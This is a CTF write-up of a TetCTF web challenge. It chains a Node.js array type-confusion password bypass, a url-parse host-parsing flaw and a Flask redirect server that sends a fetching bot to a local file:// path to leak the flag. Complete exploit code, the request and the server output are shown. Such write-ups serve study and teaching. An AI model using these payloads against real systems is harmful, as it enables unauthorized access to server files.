Tags: web 

Rating: 5.0

Condition on the isAdmin function:
```
(req.query.password.length > 12 || req.query.password != "Th!sIsS3xreT0")
```

Use password[]=Th!sIsS3xreT0 to bypass the nodejs comparison, this works because:
```
node
Welcome to Node.js v14.17.5.
Type ".help" for more information.
> ["banana"]=="banana"
true
```

This makes the password len 1 and equal to the expected string.

Then run npm audit on the project and notice the open redirect vuln on url-parse 1.4.1:
```
High Open Redirect in url-parse

Package url-parse

Dependency of url-parse

Path url-parse

More info https://github.com/advisories/GHSA-pv4c-p2j5-38j4
```

Check the [patch commit](https://github.com/unshiftio/url-parse/commit/53b1794e54d0711ceb52505e0f74145270570d5a) and notice the test string on line 196:
```
var url = 'http://google.com:80\\@yahoo.com/#what\\is going on'
```

Server code:
```
const isValidHost = (url => {
const parse = new urlParse(url)
// console.log(parse)
return parse.host === "i.ibb.co" ? true : false
})
```

Use this to craft the final payload. You can also perform tests on your local machine with the following nodejs code:
```
const urlParse = require('url-parse');
url = "file://google\\[email protected]/6chVyMW/songtung.png"
const parseURL = new urlParse(url)
console.log(parseURL.host)
console.log(parseURL.pathname)
```

bot.py source code:
```
# check extentsion
white_list_ext = ('.jpg', '.png', '.jpeg', '.gif')
vaild_extension = url.endswith(white_list_ext)

if (vaild_extension):
# check content-type
res = request.head(url, headers=headers, timeout=3)
if ('image' in res.headers.get("Content-type")
or 'image' in res.headers.get("content-type")
or 'image' in res.headers.get("Content-Type")):
r = request.get(url, headers=headers, timeout=3)
print(base64.b64encode(r.content))
```

Build a Flask Server to bypass the bot.py validations and control server replies, for the HEAD request the bot.py is performing reply with the string 'image' in the 'Content-type' header, then for the GET request reply with a redirect to read the flag file. The path could be found on the Dockerfile line 14.

Flask Server code:
```
from flask import Flask, redirect, request, make_response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
if request.method == 'HEAD':
resp = make_response("Foo bar baz")
resp.headers['Content-type'] = 'image'
return resp
else:
return redirect("file:///usr/src/app/fl4gg_tetCTF")
```

Run the Flask Server:
```
python -m flask run --port=8000
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:8000
```

Expose the flask server to the internet:
```
lt --port 8000
your url is: https://tidy-yaks-smoke-85-244-177-108.loca.lt
```

Final request with all payloads in place:
```
POST /api/getImage?password[]=Th!sIsS3xreT0 HTTP/1.1
Host: 139.162.15.7:2023
Accept: */*
[...]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 85
Origin: http://139.162.15.7:2023
Referer: http://139.162.15.7:2023/

url=https://tidy-yaks-smoke-85-244-177-108.loca.lt\\a\\@i.ibb.co/6chVyMW/songtung.png
```

Flask Server received the requests from the bot.py:
```
127.0.0.1 - - [02/Jan/2023 22:46:18] "HEAD /%5C%5Ca%5C%[email protected]/6chVyMW/songtung.png HTTP/1.1" 200 -
127.0.0.1 - - [02/Jan/2023 22:46:18] "GET /%5C%5Ca%5C%[email protected]/6chVyMW/songtung.png HTTP/1.1" 302 -
```

Server response:
```
HTTP/1.1 200 OK
Server: nginx/1.22.1
X-Powered-By: Express
[...]

{"status":true,"data":"VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==\n"}
```

```
VGV0Q1RGe3BAcnMzX1VyMV9zMF9tNGdJSWNjY2NjLVcxdGhfbjBkZUxpYitwNGl0aDBufQ==
\b64decode/
TetCTF{p@rs3_Ur1_s0_m4gIIccccc-W1th_n0deLib+p4ith0n}
```

Check the complete video writeup here: [https://youtu.be/zGakJ1aPf6Y?t=368](https://youtu.be/zGakJ1aPf6Y?t=368)

Original writeup (https://youtu.be/zGakJ1aPf6Y?t=368).